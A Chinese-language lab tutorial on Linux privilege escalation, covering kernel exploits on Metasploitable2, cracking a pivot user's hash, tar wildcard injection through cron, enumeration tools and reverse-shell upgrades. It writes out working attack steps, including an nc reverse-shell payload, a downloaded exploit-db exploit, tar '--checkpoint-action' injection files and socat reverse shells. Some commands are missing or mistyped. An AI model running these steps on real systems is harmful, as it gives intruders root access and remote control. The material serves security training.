0
点赞
收藏
分享

微信扫一扫

2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 下集———— 作者:LJS


目录

 3.9 Linux 提权之内核漏洞提权

实验介绍

知识点

实验开始

什么是 Linux 内核

什么是 Linux 内核漏洞

收集信息

查找漏洞

执行攻击

实验总结

3.10 Linux 提权之跳板用提权

实验介绍

知识点

实验开始

首先执行如下命令以初始化实验环境:

我们首先尝试一下 SUID 提权,在所有 www-data 用户有权访问的目录下搜索带 s 权限的可执行文件,使用到的命令如下:

查看一下 home 目录下有哪些文件夹:

根据之前学习的方法,使用 john 来破解。新打开一个终端,使用如下命令:

 找到了/var/bin/php可执行文件,该文件是可以用来 SUID 提权的,方法如下:

实验总结

3.11 Linux 提权之通配符注入提权

实验介绍

知识点

实验开始

什么是通配符

先运行如下命令初始化实验环境:

Crontab Tar 通配符注入

首先使用如下命令查看 crontab 中有哪些定时任务:

创建 shell.sh,内容为使用 nc 反弹 shell 到本地 4444 端口:

 创建成功后,可以看到 /var/www/html/ 文件夹下有这样几个文件:

实验总结

3.12 Linux 提权之自动化辅助工具

实验介绍

知识点

实验开始

LinEnum 工具

LinEnum 介绍

使用方法

linux-exploit-suggester 工具

linux-exploit-suggester 介绍

项目地址

使用方法

实验总结

3.13 简单 shell 升级交互式 shell

实验介绍

知识点

简单 shell

首先使用 nc 命令开始监听本地 5911 端口,用于接收目标主机反弹回来的 shell,具体代码如下:

打开新的终端的方法:屏幕左下角>应用程序菜单>终端模拟器。

此时回到之前使用 nc 命令监听的终端,发现已经成功接收到目标主机的 shell:

「简单 shell」的缺陷

不支持 su、ssh 等需要交互的命令

不能完整支持 vim/vi 编辑器

不支持命令 tab 键自动补全功能,不支持「上下方向键」显示历史命令

简单 shell 升级为交互式 shell

第一种 通过 Python 创建「伪终端」升级(pts)

第二种 使用 socat 进行升级(tty)

实验总结

 3.9 Linux 提权之内核漏洞提权

实验介绍

2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 下集———— 作者:LJS_网络安全

本章实验主要介绍如何通过 Linux 自身的内核漏洞进行提权。并通过一个实验,演示从收集信息、查找漏洞、执行攻击、完成提权的全过程。

本章节中,我们不探讨 Linux 内核漏洞的原理,只教大家利用内核漏洞来提权的方法。

知识点

什么是 Linux 内核漏洞?

如何查询 Linux 发行版本、内核版本信息?

如何查找可利用的内核漏洞?

如何上传文件到靶机?

下载、编辑、执行 exp 的方法

实验开始

在学习内核漏洞提权之前,需要给大家强调一个关键点:

Linux 内核漏洞可能会造成 Linux 系统崩溃、宕机,因此请优先尝试前面几章中讲解的提权方法,仅当前几种方法都无法成功提权时,才考虑使用内核漏洞来提权。

什么是 Linux 内核

Linux 内核是 Linux 操作系统的主要组成部分,是计算机硬件与其进程之间的核心接口。它在两者之间进行交流,尽可能有效地管理资源。

内核之所以如此命名,是因为它就像硬壳里的一颗种子,存在于操作系统中,控制着硬件的所有主要功能,无论是手机、笔记本电脑、服务器还是其他任何类型的计算机。

什么是 Linux 内核漏洞

Linux 内核是 Github 上的一个开源项目,拥有近百万次 commit,开发人员超过 5000 人,其中包括来自微软、谷歌、英特尔和红帽等科技巨头的人才。

既然开发人员如此之多,代码修改如此频繁,必然会有各种各样的 Linux 内核漏洞出现。多年来,Linux 内核已经成为了积累漏洞最多的开源项目之一。

Linux 内核漏洞提权,就是通过利用 Linux 内核漏洞来执行具有高权限的任意代码,从而达到提权的目的。

使用内核漏洞提权一般包含以下三个步骤:

收集信息:确认目标主机 Linux 发行版本号、内核版本号

查找漏洞:根据发行版本号和内核版本号搜索可利用的内核漏洞

执行攻击:下载漏洞利用 EXP、编译 exp、执行 exp

下面我们通过一个实验,来给大家详细的讲解这三个步骤的具体方法。

本章实验我们需要使用到 Metasploitable2 虚拟靶机,使用如下命令开启靶机:

sudo virsh start Metasploitable2

2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 下集———— 作者:LJS_运维_02

Metasploitable2 靶机的信息如下:

IP:192.168.122.102

用户名: msfadmin

密码:msfadmin

Metasploitable2 是 kvm 搭建的靶机,所以启动会比较慢。稍微等待 1~2 分钟,直到可以 ping 通192.168.122.102为止:

2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 下集———— 作者:LJS_linux_03

 使用 ssh 连接到靶机,密码是 msfadmin,命令如下:

ssh msfadmin@192.168.122.102

2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 下集———— 作者:LJS_linux_04

如上图所示,成功登录Metasploitable2,权限是普通用户 msfadmin——用于模拟渗透测试获取到的初始 shell。

接下里我们将演示,从收集主机信息,到查找内核漏洞,再到下载、编译、利用漏洞 exp 提权到 root 权限的全过程。

收集信息

一般需要关注 Linux 的发行版本、内核版本,分别使用以下两个命令进行查询:

lsb_release -a

2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 下集———— 作者:LJS_linux_05

可以知道靶机运行的是 Ubuntu 发行版本,版本号为 8.04。

某些发行版本的 Linux 不支持 lsb_release 命令,可以使用 如下命令来查询:

uname -r

从上图可知,靶机的内核版本为2.6.24

查找漏洞

我们已经知道了靶机的发行版本和内核版本,接下来需要使用这两个数据去查询可能存在的内核漏洞。查询方法常用的有如下几种:

searchsploit 命令行工具(仅在 Kali Linux 上)

Exploit-db.com

Google 搜索引擎

[Exploit-db.com](http://exploit-db.com)searchsploit都是同一个数据库,我们这里演示[Exploit-db.com](http://exploit-db.com)的查询方法。

打开网址:选择左上角的 EXPLOITS

2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 下集———— 作者:LJS_linux_06

先在右上角的 Search 输入关键词,因为是内核漏洞提权,所以先输入privilegekernel

然后再键入内核版本 2.6 (一般先搜索大版本即可,搜索小版本可能导致搜索结果有遗漏)和 Linux 发行版本 ubuntu。最后的搜索关键字组合是:

privilege kernel 2.6 ubuntu

然后点击右上角的Filter,在高级搜索中,Type 选择 local、Platform 选择 Linux

2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 下集———— 作者:LJS_安全_07

如上图所示,共得到 10 条结果,一般我们先尝试经过验证的 exp —— 即左边有绿色小勾的。

如果是 searchsploit命令行工具,使用如下命令可以查询到相同的结果,你可以在 Kali Linux 中尝试一下:

searchsploit privilege | grep -i linux| grep -i kernel | grep -i 2.6 | grep -i ubuntu

执行攻击

注意:并不是每一条漏洞都可以提权成功的,通常情况下,我们会逐一尝试利用。

这里为了节约大家时间,我们直接选取一条可以提权成功的来做演示:

2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 下集———— 作者:LJS_网络安全_08

接下来需要下载 exp,因为大多数情况下靶机是没有连接外网的权限的,所以都是下载到攻击机(例如 Kali Linux),然后再搭建 HTTP 服务上传到靶机。

右键下载按钮,复制下载链接地址:

2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 下集———— 作者:LJS_运维_09

 在靶机上使用 wget 工具下载并存储到 /tmp/exploit.c,命令如下(主机是在 shiyanlou用户 终端,不要在 Metasploitable2 的 ssh 终端中下载):

wget https://www.exploit-db.com/download/8572 -O /tmp/exploit.c

2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 下集———— 作者:LJS_linux_10

 接下来进入/tmp目录使用 Python3 快速搭建 HTTP 服务,端口为 8000:

cd /tmp
python3 -m http.server 8000

2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 下集———— 作者:LJS_运维_11

使用 ip addr 命令查询到主机 IP 地址为 192.168.122.1:  

2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 下集———— 作者:LJS_安全_12

etasploitable2 终端中使用 wget 工具下载 exploit.c 并保存到/tmp:

wget 192.168.122.1:8000/exploit.c -P /tmp

2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 下集———— 作者:LJS_运维_13

编译 exploit.c,需要使用到 gcc 工具,命令如下:

gcc exploit -o exploit

/tmp 目录下会生成一个名为 exploit 的可执行文件:

尝试执行   ./exploit,弹出如下提示:

说明我们需要回去看一下 exp 的使用方法:

阅读以上说明,使用方法如下:

执行./exploit PID 需要指定/proc/net/netlink 进程的 PID 号

执行成功后,会自动以 root 权限执行/tmp/run脚本,脚本内容需要我们自己创建,payload 我们可以任意发挥。

 按照以上说明,先查看/proc/net/netlink进程 ID:

cat /etc/net/netlink

获取到 pid 为 2410,接下来我们创建 /tmp/run shell 脚本:  

echo '#!/bin/bash' >> /tmp/run echo 'nc 192.168.122.1 4444 -e /bin/bash' >> /tmp/run chmod +x /tmp/run

 /tmp/run脚本的内容如下:

#!/bin/bash nc 192.168.122.1 4444 -e /bin/bash

这样,当该脚本被执行时,就会向 192.168.122.1 的 4444 端口反弹 shell,所以我们现在本地主机上使用 nc 监听 4444 端口:

nc -nlvp 4444

一切准备就绪,在靶机上执行如下命令:

./exploit 2410

上图所示,成功反弹回 shell。

实验总结

在本节实验中,我们了解了什么是 Linux 内核、什么是 Linux 内核漏洞,并通过一个具体的实验,理解了收集信息、查找漏洞、执行攻击、完成提权的全过程。通常来说,并非每次都能迅速找到可利用成功的漏洞 exp,如果攻击不成功可以尝试下面两种方法:

更换相同 CVE 漏洞的不同 exp

更换不同的 CVE 漏洞

总结一句话:内核漏洞提权一定要有耐心~

祝你在接下来的技巧课程中学习愉快,学有所获~


3.10 Linux 提权之跳板用提权

实验介绍

本章实验主要介绍当我们不能直接提权至 root 权限时,如何通过先提权到其他普通用户,再通过该用户提权到 root 用户的方法。

知识点

什么是跳板用户?

什么情况下需要使用跳板用户?

如何通过跳板用户提权?

实验开始

前面几章为大家介绍了几种直接提权到 root 权限的方法,但有时候会遇到尝试了所有的方法,也无法直接提权到 root 权限,此时可以考虑先提权到其他用户,再通过其他用户的权限提权到 root 权限,而这个中间用户就被我称为——跳板用户。

在本章实验中,我们会先从 www-data 提权到跳板用户 alice ,再从 alice 提权到 root 权限

首先执行如下命令以初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_100_switchuser.sh > ~/init_100_switchuser.sh;chmod +x ~/init_100_switchuser.sh;sudo ./init_100_switchuser.sh

 如上图所示,实验环境初始化完成,此时我们切换到了 www-data 用户——用于模拟通过 Web 漏洞反弹回的初始 shell。

我们首先尝试一下 SUID 提权,在所有 www-data 用户有权访问的目录下搜索带 s 权限的可执行文件,使用到的命令如下:

搜索结果如下图所示:

经过分析发现没有可用于 SUID 提权的可执行文件。

查看一下 home 目录下有哪些文件夹:

 发现 /home 目录下有一个 alice 目录,推测有一个 alice 用户:因为本文件中只有它没有RWX权限,并且是可以登录系统的,可以通过查看/etc/passwd文件验证。

但是 www-data 没有权限访问alice目录,所以我们需要先试试能够提权到 alice 用户。

经过一番尝试,我们发现/etc/passwd文件中有 alice 用户的密码 hash:  

cat /etc/passwd

根据之前学习的方法,使用 john 来破解。新打开一个终端,使用如下命令:

 破解得到密码为 beautiful,使用 su 命令登录 alice 用户:

 现在我们成功从 www-data 用户提权到了 alice 用户,再尝试一次 SUID 提权:

find / -user root -perm -4000 -print 2>dev/null

 找到了/var/bin/php可执行文件,该文件是可以用来 SUID 提权的,方法如下:

如上图所示,我们成功提权到 root 权限。

关于哪些可执行文件可以用来 SUID 提权,可以通过以下链接进行查询:https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary

2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 下集———— 作者:LJS_python_14

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary

大家思考一下:为什么 alice 用户能够查找到具有 s 权限的 php 可执行文件,而 www-data 用户找不到呢?

其实答案就是目录权限的区别,让我们查看一下 /var/bin 目录权限:

ls -lh /var

可以看到,/var/bin目录的所有者和所有组均为 alice,其他用户并没有读/写/执行权限。

所以当我们提权到其他用户时,有时就能解锁一些之前无法访问的文件或目录,而这恰好就可能被利用来进行提权。

实验总结

在本节实验中,我们学习了当不能直接提权至 root 权限时,如何通过先提权到其他普通用户,再通过该用户提权到 root 用户的方法。

本章实验中我们只是选了一个简单例子作为抛砖引玉,实战中的情况可能会更复杂,不过请记住:核心永远是围绕在不同用户的权限差异上。

祝你在接下来的技巧课程中学习愉快,学有所获~

3.11 Linux 提权之通配符注入提权

实验介绍

本实验主要介绍什么是通配符注入,并介绍 Linux 系统上最常见的 tar 通配符注入的原理,最后通过实验帮助你理解并掌握,在实战中如何通过 crontab 配合 tar 命令进行 Linux 提权。

知识点

通配符注入原理介绍

tar 通配符注入示例

crontab 搭配 tar 提权实验

实验开始

什么是通配符

对 Linux 有一定了解的同学应该会知道通配符,通配符是一个字符或一组字符,可以用来替换某些范围/类别的字符。

下面是一些常见的通配符:

* 星号可以与文件名中的任意数量的字符匹配,包括 0 个字符。

? 问号用于匹配任意单个字符。

[] 括号内包括一组字符,其中任何一个字符都可以匹配该位置上的单个字符。

  ~ 单词开头的波浪符表示当前用户的主目录的名称。如果该字符后面是另一个用户的登录名,则表示该用户的主目录。

其中,在实际的 Linux 提权中,我们使用到比较多*-,首先通过一个示例了解一下 Linux shell 对-字符会怎么处理的。  

先运行如下命令初始化实验环境:

 初始化完成之后,可以看到当前目录下有一个文件名为—-help的文件,大家先思考并尝试一下,你要如何查看他的内容呢?

如果你使用 cat —-help命令查看,会有如下提示:  

类似的,如果你使用 vim —-help 查看也是一样的:


-会被解释为命令参数如果你要查看-—help 文件的内容,就需要避免以-为文件名的开头,例如你可以使用:

cat ~/--help

这样就可以避免 shell 将—-help 解释为参数,而通配符注入正好就是利用的 shell 这一特点。

通配符注入通常会和 cron job 结合使用,下面我们通过实战来理解 tar 命令的通配符注入。

Crontab Tar 通配符注入

通配符注入经常会和 Crontab 一起使用,下面我们通过一个实验来理解经典的 tar 通配符注入提权。

首先执行如下命令以初始化实验环境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_Wildcard_Injection.sh > ~/init_Wildcard_Injection.sh;chmod +x ~/init_Wildcard_Injection.sh;sudo ./init_Wildcard_Injection.sh

如上图所示,实验环境初始化完成后,我们切换到了 tomcat-syl 用户(用于模拟攻击者获取的初始 shell),接下来需要通过利用 tar 通配符注入漏洞提权到 root 权限。

首先使用如下命令查看 crontab 中有哪些定时任务:

可以看到上图红框中,管理员配置了这样一条定时任务:每分钟执行一次,将 /var/www/html/ 文件夹中的所有内容打包到 /var/backups/html.tgz 进行备份

接下来我们查看 /var/www/html

想利用 tar 进行通配符注入,我们需要在 /var/www/html/ 文件夹下创建以下 3 个文件:

创建 shell.sh,内容为使用 nc 反弹 shell 到本地 4444 端口:

创建名为--checkpoint-action=exec=sh shell.sh的文件,因为文件名中有空格,所以需要使用引号报告:  

echo "" > "--checkpoint-action=exec=sh shell.sh" #- `—-checkpoint`和`—-chekpoint-action`参数通常一起使用,前者为设置检查点,后者为到达检查点时要执行的操作。 #- `--checkpoint-action=exec=sh shell.sh` 则表示达到检查点时执行 shell.sh 脚本文件。

最后创建一个名为 --checkpoint=1

echo "" > --checkpoint=1

 创建成功后,可以看到 /var/www/html/ 文件夹下有这样几个文件:

 也就是说,每当定时任务被执行时,tar 都会调用 shell.sh 脚本并执行,而 shell.sh 脚本会将 /bin/bash

我们在当前 shell 中使用 nc 监听本地 4444 端口,命令如下:

nc -lnvp 4444

 稍微等待一会,当定时任务被执行时,我们就可以接收到被反弹回来的 shell,并且是 root 权限:

至此,我们成功提权到 root 用户。

不过关于 tar + crontab 提权存在两个限制条件,这里也给各位同学详细说明:

限制一:打包目录 html 需要「其他用户」拥有写(w)权限  

因为必须要有写入权限,我们才能在该目录创建 shell.sh 和其他两个文件:

限制二:crontab 中的 tar 命令必须不包含绝对路径

例如下面这种命令,通配符注入就会失败:

* *     * * *   root   tar -zcf /var/backups/html.tgz **/var/www/html/***

原因是当包含绝对路径时,通配符注入实际上执行的命令变成了:

tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.html

这种情况下/var/www/html/--checkpoint=1/var/www/html/--checkpoint-action=exec=sh shell.sh就不会被 shell 解释为 tar 命令参数,所以无法注入成功。

实验总结

在本节实验中,我们学习了什么是通配符注入,并介绍 Linux 系统上最常见的 tar 通配符注入的原理,最后通过实验在实战中通过 crontab 配合 tar 命令将 Linux shell 成功提权到 root 权限。

祝你在接下来的技巧课程中学习愉快,学有所获~

3.12 Linux 提权之自动化辅助工具

实验介绍

本章实验主要介绍两个最常用的 Linux 提权自动化辅助工具—— LinEnumlinux-exploit-suggester,合理的使用自动化脚本,能大大节约我们的时间。

知识点

LinEnum 辅助工具的使用

linux-exploit-suggester 辅助工具的使用

实验开始

在前面章节中,我们已经学习了多种 Linux 提权

sudo virsh start Metasploitable2

的方法,这些提权方法已经覆盖了实战中的绝大部分场景。

如果你正在为了备考 OSCP 认证而努力,那么恭喜你,只要你把前面几种方法都理解并掌握,考试中关于 Linux 提权这部分是绝对可以得心应手的。

除此之外,还有一些 Linux 辅助工具可供使用,这些辅助工具通常是 shell 脚本。需要明确的是,这些辅助工具不会尝试漏洞利用,仅仅只是帮助我们快速枚举系统信息,使用它们的目的是节省时间,所以你必须先理解提权的方法和原理。

Github 上有很多相关的开源项目,在本章节实验中我会推荐两个比较有代表性的:

LinEnum

linux-exploit-suggester

和内核漏洞提权那章相同,本章实验我们也需要使用到 Metasploitable2 虚拟靶机,使用如下命令开启靶机:

sudo virsh start Metasploitable2

Metasploitable2 靶机的信息如下:

IP:192.168.122.102

用户名: msfadmin

密码:msfadmin

Metasploitable2 是 kvm 搭建的靶机,所以启动会比较慢。稍微等待 1~2 分钟,直到可以 ping 通192.168.122.102为止:

使用 ssh 连接到靶机,密码是 msfadmin,命令如下:

ssh msfadmin@192.168.122.102

 如上图所示,成功登录Metasploitable2,权限是普通用户 msfadmin——用于模拟渗透测试获取到的初始 shell。


如上图所示,成功登录Metasploitable2,权限是普通用户 msfadmin——用于模拟渗透测试获取到的初始 shell。

LinEnum 工具

LinEnum 介绍

LinEnum 是一个 Linux 主机本地信息枚举的 shell 脚本,它有超过 65 项安全检查功能,比如查询版本信息、内核信息、SUID/GUID 文件、文件权限、sudo 权限等,其执行的检查项摘要如下:

内核和发行版本的详细信息

系统信息、主机名、网络信息

用户信息、用户列表、用户组

敏感目录、文件的访问权限

环境变量配置详情

CronJobs 配置详情

运行服务、服务权限

部分应用的版本信息

更为详细的检查项说明,可以查阅项目的文档。

使用方法

因为大多数情况下靶机是没有连接外网的权限的,所以都是先下载到攻击机(例如 Kali Linux),然后再搭建 HTTP 服务上传到靶机。

在云主机上使用 wget 工具下载并存储到 /tmp/LinEnum.sh,命令如下(不要在 Metasploitable2 的 ssh 终端中下载,会报 SSL 错误):

# 如果遇到拒绝连接错误,多尝试几次即可 wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

 接下来进入/tmp目录,使用 Python3 快速搭建 HTTP 服务,端口为 8000:

cd /tmp python3 -m http.server 8000

使用 ip addr 命令查询到主机 IP 地址为 192.168.122.1:  

在 Metasploitable2 终端中使用 wget 工具下载 LinEnum.sh并保存到/tmp:  

wget 192.168.122.1:8000/LinEnum.sh -P /tmp #-P参数用于指定下载文件的保存路径

 赋予LinEnum.sh执行权限:

chmod +x LinEnum.sh

接下来就可以执行LinEnum.sh进行检查,由于LinEnum.sh执行速度非常快,所以可以搭配 more 命令便于阅读,使用空格进行翻页:

./LinEnum.sh |more


自动快速收集系统信息,便于我们阅读分析,重点关注黄色字体的信息。

发现具有/root目录的访问权限:


发现软件版本及弱口令:


如上图所示,发现 MySQL 的 root 用户无需密码即可登录,测试一下发现登陆成功:


发现 htpasswd文件:


发现可利用的 SUID 文件nmap


尝试利用 nmap 提权,并且提权成功:


发现可查看 root 用户的 .bash_history文件:


有没有觉得很方便?合理的利用 LinEnum.sh脚本,可以为我们节约大量的时间。



linux-exploit-suggester 工具

linux-exploit-suggester 介绍

linux-exploit-suggester 是一款根据系统发行版本号和内核版本号自动查找相应内核提权漏洞的工具。

LinEnum 功能已经非常强大,但它缺少对内核漏洞的检查,而linux-exploit-suggester刚好能弥补这一点。


项目地址

https://github.com/mzet-/linux-exploit-suggester

2024全网最全面及最新且最为详细的网络安全技巧 (三) 之 linux提权各类技巧 下集———— 作者:LJS_python_14

https://github.com/mzet-/linux-exploit-suggester

使用方法

和之前一样,下载linux-exploit-suggester.sh 到云主机:

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O /tmp/linux-exploit-suggester.sh
#-O参数用于指定下载文件的保存路径和文件名。在你提供的命令中,-O参数后面跟着/tmp/linux-exploit-suggester.sh,这意味着下载的文件将保存在/tmp目录下,并且文件名为linux-exploit-suggester.sh。如果省略-O参数,wget命令将会使用默认的文件名。

并上传到靶机Metasploitable2:

wget 192.168.122.1:8000/linux-exploit-suggester.sh -P /tmp

添加执行权限并执行脚本:

chmod +x linux-exploit-suggester.sh ./linux-exploit-suggester.sh

不幸的是,提示 bash 版本过低不支持运行该脚本:


大多数时候是可以直接运行的,但是如果偶尔遇到这种情况,可以采用手动录入内核信息的方式。

在 Metasploitable2 上运行uname -a查询主机信息,并将输出结果复制下来:


然后回到云主机上运行./linux-exploit-suggester.sh脚本:


-u : 指定uname -a 获取的信息

--kernelspace-only : 仅显示内核漏洞

./linux-exploit-suggester.sh -u "Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux"

下图是我们得到的分析结果:

每一条漏洞都包含 Exposure (影响概率)和 Download URL( EXP 下载链接),其中 Exposure 分级如下:

Highly probable - 被评估的内核很有可能受到影响,而且很有可能 PoC 漏洞不需要任何重大修改就能正常运行。

Probable - 有可能会成功,但很有可能需要定制 EXP 漏洞来适应你的目标。

Less probable - 需要额外的手动分析来验证内核是否受到影响。

Unprobable - 内核受影响的可能性极低。

一般只用尝试Highly probablerobable定级的EXP即可

但需要注意的是,linux-exploit-suggester 的结果并不一定非常准确,如果结果中的 CVE 均无法利用,你仍然需要手动去搜索内核漏洞再来尝试。


实验总结

在本节实验中,我们学习了 LinEnum 和 linux-exploit-suggester 提权辅助脚本工具的使用方法,其实辅助工具还有很多,例如以下两个:

linPEAS

BeRoot

如果你有兴趣,可以下载尝试一下,不过工具永远只能起到辅助作用,最重要的还是理解提权的方法和思想。

祝你在接下来的技巧课程中学习愉快,学有所获~

3.13 简单 shell 升级交互式 shell

实验介绍


本章节实验主要介绍什么是「简单 shell」和「交互式 shell」,「简单 shell」在渗透测试过程中会带来哪些不便之处,以及如何将「简单 shell」 升级为「交互式 shell」。

知识点

「简单 shell」的定义

「交互式 shell」的定义

「简单 shell」的不便之处

「简单 shell」升级为「交互式 shell」的方法

简单 shell

下面我们通过一个实验来理解什么是简单 shell。

首先需要初始化实验环境,打开终端并执行如下命令:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_20_ttyshell.sh > ~/init_20_ttyshell.sh;chmod +x ~/init_20_ttyshell.sh;sudo ./init_20_ttyshell.sh


输出如上图所示,说明环境部署成功。

此时使用 ls 命令查看主目录,会发现新增了 exploit.sh 文件:


nc -nlbp 5911

exploit.sh 是漏洞攻击的 exp, 此处我们用来模拟远程命令执行漏洞(RCE),在目标主机上执行系统命令, 并将目标主机上的 /bin/bash 反弹到本地 5911 端口。

接下来我们模拟渗透测试中 getshell 的过程:

首先使用 nc 命令开始监听本地 5911 端口,用于接收目标主机反弹回来的 shell,具体代码如下:

接着打开一个新的终端界面,并执行 ./exploit.sh 脚本文件:

打开新的终端的方法:屏幕左下角>应用程序菜单>终端模拟器。

此时回到之前使用 nc 命令监听的终端,发现已经成功接收到目标主机的 shell:


尝试执行 whoami 命令查看当前用户信息:


可以看到命令执行成功,当前用户是 shiyanlou

由于是简单 shell,所以命令提示符前不会显示如 shiyanlou:~/$ 这样的前缀。

再使用 lsb_release -a 命令查看系统信息:

如上图所示,命令也执行成功,目标主机系统是 ubuntu 16.04.6

至此,我们已经模拟了黑客 getshell 这一过程,并成功获取到了目标主机的 shell,但此 shell 不具有交互性我称之为「简单 shell」,具体有哪些不方便的地方待下面细说。

「简单 shell」的缺陷

简单来说,「简单 shell」不支持用户交互式输入

支持交互式输入的 shell 有两种:

第一种:tty ,又称为终端,linux 自带的命令行就是 tty,我们可以在 vmare 虚拟机里使用 tty 命令查看,回显会提示我们是 tty。

第二种:pst,又称为伪终端,包括使用 ssh 或 telnet 远程连接获取的 shell 都是 pts 伪终端,我们在 ssh 中使用 tty 查看一下,回显会提示我们是 pts。

升级交互式 shell 的方法我们后面会讲。

在实验环境原生终端中执行 tty 命令,结果如下:

上图输出结果说明当前终端连接标准输入设备的名称是 /dev/pts/6,说明这是一个 pts

在「简单 shell」中执行 tty 命令,结果如下:


输出如上图所示,说明「简单 shell」不是 tty 也不是 pts。

「简单 shell」不方便的地方体现在下面几个方面:

不支持 sussh 等需要交互的命令。

命令执行错误时的“标准错误信息(STDERR)”不会被打印出来。

不能完整支持 vim/vi 编辑器。

不支持命令 tab 键自动补全功能,不支持「上下方向键」显示历史命令。

下面我们逐个试验一下。

不支持 sussh 等需要交互的命令

假设我们已经通过信息收集成功获取到了 root 用户密码,但是目标主机并没有开启 ssh 服务或者 ssh 端口被防火墙限制,所以我们无法利用 root 账户从本地 ssh 远程登录目标主机 ,这时候我们应该怎么获取 root 权限呢?

我们可以先通过漏洞获取一个低权限 shell,然后使用 su root 切换到 root 用户就可以了对吧? 于是在 shell 中输入命令:

sudo root

你会发现「简单 shell」直接阻塞卡死了,此时输入其他命令也不会有回显。

原因是由于 su 命令需要用户交互式的输入密码,远端 shell 为接受用户输入密码而处于阻塞状态,因此无法正常执行 su 命令以及其他需要用户交互的命令,如 ssh 也同样无法正常执行。

命令执行错误时的“标准错误信息(STDERR)”不会被打印出来

我们使用 ctrl+c 终止阻塞的 shell,重复之前的步骤重新反弹一个 shell 回来。

在简单 shell 中执行如下命令:

cat ss.txt

但是没有任何回显,我们无法判断命令是否执行成功。 在正常的终端中执行 cat ss.txt 命令,会有如下提示:


根据回显信息,我们就能够知道命令执行失败的原因并做针对性的调整,这一点在后续提权操作时会非常重要。

不能完整支持 vim/vi 编辑器

假如我们想在目标主机系统上使用 vim 命令创建文件:

vim tun.txt

如上图所示,「简单 shell」不能很好的支持 vim 的操作方式,会出现字符转义出错的情况。

不支持命令 tab 键自动补全功能,不支持「上下方向键」显示历史命令

在「简单 shell」 中使用「上下方向键」展示历史命令:


你会发现并不能如愿所偿,「上下方向键」被强制转换为了 ^[[A^[[B 等字符。

正是由于「简单 shell」的各种缺陷,在渗透测试后期提权、内网渗透时都会带来很多困扰,所以接下来我们需要先将「简单 shell」升级为支持交互式的「交互式 shell」。

简单 shell 升级为交互式 shell

下面我们介绍几种升级交互式 shell 的方法。

第一种 通过 Python 创建「伪终端」升级(pts)

Python 内置的 pty 模块可以用来创建一个伪终端(pts),其官方文档描述如下:

想了解详情的同学点我查看官方文档。

首先需要确认目标主机支持 Python 环境,使用命令 which pythonwhich python3 查看目标主机是否支持 python2/python3


幸运的是如上图所示,目标主机支持 Python2 和 Python3 。

使用 python 的 pty 模块创建一个伪终端,命令如下:

python -c 'import pty;pty.spawn("/bin/bash");'

如上图所示,我们成功获得了一个伪终端(pts),光标前的 shiyanlou@iZbp1hie9kxx 让它看起来更像一个普通的终端,可以执行 tty 命令确认。

实际上这段命令等同于创建了一个 python 脚本,然后执行了该脚本,脚本内容如下:

import pty pty.spawn("/bin/bash")

我们打开一个新终端,使用命令 sudo vim p.py 创建一个 p.py 脚本文件,输入上面这段内容:


然后输入命令 python p.py 运行这个脚本,可以达到同样的目的——创建一个伪终端.

在 Python 「伪终端」中重新尝试使用 su root 切换为 root 用户:


可以看到此伪终端(pts)支持交互式的密码输入,如果拥有 root 密码就能切换为 root 用户。其他诸如 ssh 等交互式命令也同样支持。

再执行命令 cat ss.txt,这次成功回显了错误信息:


我们总结一下,Python 创建的伪终端(pts)解决了以下问题:

支持命令交互式输入

支持打印命令执行错误时的“标准错误信息(STDERR)

和 Python 类似,还可以通过 Perl、Ruby、Lua 等来获取 pts 终端,方法可以通过该地址查询:

但是 Python 和其他脚本语言创建的伪终端(pts)仍然存在一些问题:

不支持 tab 自行不全、使用「上下方向键」显示历史命令:

不支持 vim/vi 编辑文件

我们下面为大家介绍一种更强大的升级方法——socat。

第二种 使用 socat 进行升级(tty)

接下来我们介绍另一种更强大的升级方法:socat

首先使用命令 which socat 查看目标主机是否支持 socat 命令:


如上图所示,目标主机支持 socat 工具。

然后新建一个终端,使用如下命令在本地监听 5912 端口:

socat file:`tty`,raw,echo=0 tcp-listen:5912
#file:: 这部分指定了 socat 将会打开的文件。在这里,file: 表示 socat 将会打开一个文件描述符。
#tty,raw,echo=0: 这是 socat 将会打开的文件描述符的设置。``tty`` 表示 socat 将会使用当前终端 (tty) 作为文件描述符。 raw设置使 socat 不做数据处理,而echo=0` 设置禁用了回显(即输入的字符不会在终端上显示)。
#tcp-listen:5912: 这个部分指定了 socat 将会监听的端口号。在这个例子中,socat 将会监听 5912 端口的 TCP 连接。

然后在「简单 shell」 中执行如下命令,反弹一个完整的 tty shell:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:5912
#exec:'bash -li': 这部分指定了 socat 将会执行的命令。在这里,它执行了一个 Bash #shell,并加上了 -l 和 -i 选项,这使得 Bash shell 被启动后,会作为登录 shell,并读取配置文件(例如 .bashrc)。
